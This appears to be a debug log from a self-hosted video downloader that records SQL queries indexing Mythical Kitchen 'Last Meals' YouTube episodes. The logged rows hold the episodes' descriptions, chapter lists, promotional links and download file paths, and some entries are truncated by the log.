http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: h (truncated) 20:49:32.332 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.332 [debug] QUERY OK source="media_items" db=0.0ms idle=1.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-12 11:00:51Z], 1] 20:49:32.333 [debug] QUERY OK source="media_items" db=0.7ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Jimmy O. Yang eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Jimmy's Last Meal\n0:20 Rap Beginnings\n2:11 How Often Do You Think About Death?\n3:10 1st Course\n6:19 Interior Chinatown\n7:35 Asian Accents Are Sexy\n10:08 Freedom & The El Pollo Loco Salsa Bar\n11:40 Learning Kung Fu\n12:33 2nd Course\n16:12 The Art & Existential Terror Of Making Rice\n16:57 My Pet Chicken Gary\n19:33 Nepo-Daddy Relationship\n21:40 Choosing Yourself\n22:57 3rd Course\n24:30 Comedy Is Like Cooking\n25:09 Having Nothing To Lose & Building Community\n27:40 Playing A Hero\n29:13 Family Ties\n32:02 4th Course\n32:49 Responsible Representation\n37:13 Legacy\n39:05 Infinity Is Scary\n40:29 What Do You Think Happens When You Die?\n41:15 Lightning Round\n44:25 Jimmy's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Jimmy O. Yang Eats His Last Meal", "755beb0e-7379-421d-a0a0-7b375b9937bd", "https://www.youtube.com/watch?v=bc6aG09SqwU", false, "bc6aG09SqwU", 2760, false, 61, "/downloads/Last Meals/2024-12-12 Jimmy O. Yang Eats His Last Meal/Jimmy O. Yang Eats His Last Meal [bc6aG09SqwU].mp4", false, false, 1, [], 1, ~U[2024-12-12 11:00:51Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Jimmy O. Yang eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Jimmy's Last Meal\n0:20 Rap Beginnings\n2:11 How Often Do You Think About Death?\n3:10 1st Course\n6:19 Interior Chinatown\n7:35 Asian Accents Are Sexy\n10:08 Freedom & The El Pollo Loco Salsa Bar\n11:40 Learning Kung Fu\n12:33 2nd Course\n16:12 The Art & Existential Terror Of Making Rice\n16:57 My Pet Chicken Gary\n19:33 Nepo-Daddy Relationship\n21:40 Choosing Yourself\n22:57 3rd Course\n24:30 Comedy Is Like Cooking\n25:09 Having Nothing To Lose & Building Community\n27:40 Playing A Hero\n29:13 Family Ties\n32:02 4th Course\n32:49 Responsible Representation\n37:13 Legacy\n39:05 Infinity Is Scary\n40:29 What Do You Think Happens When You Die?\n41:15 Lightning Round\n44:25 Jimmy's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=pp (truncated) 20:49:32.333 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.334 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-24 10:00:53Z], 1] 20:49:32.334 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Finn Wolfhard eats his last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Finn's Last Meal\n0:20 Weezer & The Mythical Cookbook\n1:40 Have You Thought About Your Last Meal Before?\n3:51 1st Course\n5:40 A 20-Year-Old Director\n10:58 2nd Course\n13:22 Theater Kids vs. Film Kids\n14:40 Gaten Is An Old Character Actor\n15:30 Saying Goodbye To Stranger Things\n16:46 Josh Predicts The ST Finale\n17:37 3rd Course\n21:04 Forest Bathing & Romanian Tacos\n22:27 Asking Jesse Eisenberg For Anxiety Advice\n24:14 Dissonant Feelings In Acting\n25:56 Rebooting Idle Hands\n26:59 4th Course\n30:07 The Child Actor Experience\n31:12 FaceTiming Gaten\n32:44 Lightning Round\n34:21 Finn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Stranger Things' Finn Wolfhard Eats His Last Meal", "7d90e50e-6728-4ab0-98b0-f261384962ad", "https://www.youtube.com/watch?v=UxiZUsNMQaA", false, "UxiZUsNMQaA", 2119, false, 62, "/downloads/Last Meals/2025-04-24 Stranger Things' Finn Wolfhard Eats His Last Meal/Stranger Things' Finn Wolfhard Eats His Last Meal [UxiZUsNMQaA].mp4", false, false, 1, [], 1, ~U[2025-04-24 10:00:53Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Finn Wolfhard eats his last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Finn's Last Meal\n0:20 Weezer & The Mythical Cookbook\n1:40 Have You Thought About Your Last Meal Before?\n3:51 1st Course\n5:40 A 20-Year-Old Director\n10:58 2nd Course\n13:22 Theater Kids vs. Film Kids\n14:40 Gaten Is An Old Character Actor\n15:30 Saying Goodbye To Stranger Things\n16:46 Josh Predicts The ST Finale\n17:37 3rd Course\n21:04 Forest Bathing & Romanian Tacos\n22:27 Asking Jesse Eisenberg For Anxiety Advice\n24:14 Dissonant Feelings In Acting\n25:56 Rebooting Idle Hands\n26:59 4th Course\n30:07 The Child Actor Experience\n31:12 FaceTiming Gaten\n32:44 Lightning Round\n34:21 Finn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Stranger Things' Finn Wolfhard Eats His Last Meal", "https://www.youtube.com/watch?v=UxiZUsNMQaA", "UxiZUsNMQaA", 2119, false, "/downloads/Last Meals/2025-04-24 Stranger Things' Finn Wolfhard Eats His Last Meal/Stranger Things' Finn Wolfhard Eats His Last Meal [UxiZUsNMQaA].mp4", false, 1, ~U[2025-04-24 10:00:53Z]] 20:49:32.334 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.335 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-25 10:00:35Z], 1] 20:49:32.336 [debug] QUERY OK source="media_items" db=0.6ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Post Malone's last meal.\n\nStream Post Malone's new album, Austin, out on July 26!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 Post's Last Meal Menu\n0:29 Intro\n0:51 The Genie Contract\n1:26 How Often Do You Think About Death?\n1:57 1st Course - Raising Cane's, Mozz Sticks, & Garlic Knots\n2:38 Rockstar Riders\n3:21 Wanting to Be 4-Years Old\n4:22 Chick-fi-La has Secret Chicken Parm\n4:40 Are People Ultimately Good or Bad?\n5:58 How Does the World End?\n7:14 Post's Apocalyptic Bunker\n8:06 How Has Being a Father Changed You?\n9:10 Show Me the Marinara\n9:40 2nd Course - Pizza and Chicken Parm\n11:03 Josh is Mommy\n11:37 Pizza Hut Nostalgia\n12:16 Paranoia \n14:37 Playing Diablo IV\n15:10 3rd Course - Filet Mignon, Ramen, Maison No9\n15:52 Learning New Words\n17:00 Adapting to the Mormon Way of Speaking\n17:52 Wine Tasting\n19:08 The New Album\n21:50 Acid Polka\n22:28 The Part Where They Take Their Shirts Off\n23:43 What Do You Think Happens When You Die?\n25:21 Family\n26:49 4th Course - Chocolate Chip Cookies & Frosted Flakes\n27:14 Milking Technique\n28:27 What are Ghosts?\n31:21 Lightning Round - Who Would You Share Your Last Meal With?\n31:44 Which One of The TMNT Would You Share Your Last Meal With?\n32:05 What Guitar Hero Song Can You Play With No Mistakes?\n32:20 What Song Do You Want Played at Your Funeral?\n32:49 What's Your Biggest Fear?\n33:18 Are You Happy?\n33:27 Post's Last Words\n\nClosed Captioning provided by Rev", "Post Malone Eats His Last Meal", "03619903-742c-46f6-81a9-af0fcba5371c", "https://www.youtube.com/watch?v=ciktYlmFbfc", false, "ciktYlmFbfc", 2088, false, 63, "/downloads/Last Meals/2023-07-25 Post Malone Eats His Last Meal/Post Malone Eats His Last Meal [ciktYlmFbfc].mp4", false, false, 1, [], 1, ~U[2023-07-25 10:00:35Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Post Malone's last meal.\n\nStream Post Malone's new album, Austin, out on July 26!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 Post's Last Meal Menu\n0:29 Intro\n0:51 The Genie Contract\n1:26 How Often Do You Think About Death?\n1:57 1st Course - Raising Cane's, Mozz Sticks, & Garlic Knots\n2:38 Rockstar Riders\n3:21 Wanting to Be 4-Years Old\n4:22 Chick-fi-La has Secret Chicken Parm\n4:40 Are People Ultimately Good or Bad?\n5:58 How Does the World End?\n7:14 Post's Apocalyptic Bunker\n8:06 How Has Being a Father Changed You?\n9:10 Show Me the Marinara\n9:40 2nd Course - Pizza and Chicken Parm\n11:03 Josh is Mommy\n11:37 Pizza Hut Nostalgia\n12:16 Paranoia \n14:37 Playing Diablo IV\n15:10 3rd Course - Filet Mignon, Ramen, Maison No9\n15:52 Learning New Words\n17:00 Adapting to the Mormon Way of Speaking\n17:52 Wine Tasting\n19:08 The New Album\n21:50 Acid Polka\n22:28 The Part Where They Take Their Shirts Off\n23:43 What Do You Think Happens When You Die?\n25:21 Family\n26:49 4th Course - Chocolate Chip Cookies & Frosted Flakes\n27:14 Milking Technique\n28:27 What are Ghosts?\n31:21 Lightning Round - Who Would You Share Your Last Meal With?\n31:44 Which One of The TMNT Would You Share Your Last Meal With?\n32:05 What Guitar Hero Song Can You Play With No Mistakes?\n32:20 What Song Do You Want Played at Your Funeral?\n32:49 What's Your Biggest Fear?\n33:18 Are You Happy?\n33:27 Post's Last Words\n\nClosed Captioning provided by Rev", "Post Malone Eats His Last Meal", "https://www.youtube.com/watch?v=ciktYlmFbfc", "ciktYlm (truncated) 20:49:32.336 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.336 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-18 10:00:25Z], 1] 20:49:32.337 [debug] QUERY OK source="media_items" db=0.6ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Peyton List's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - 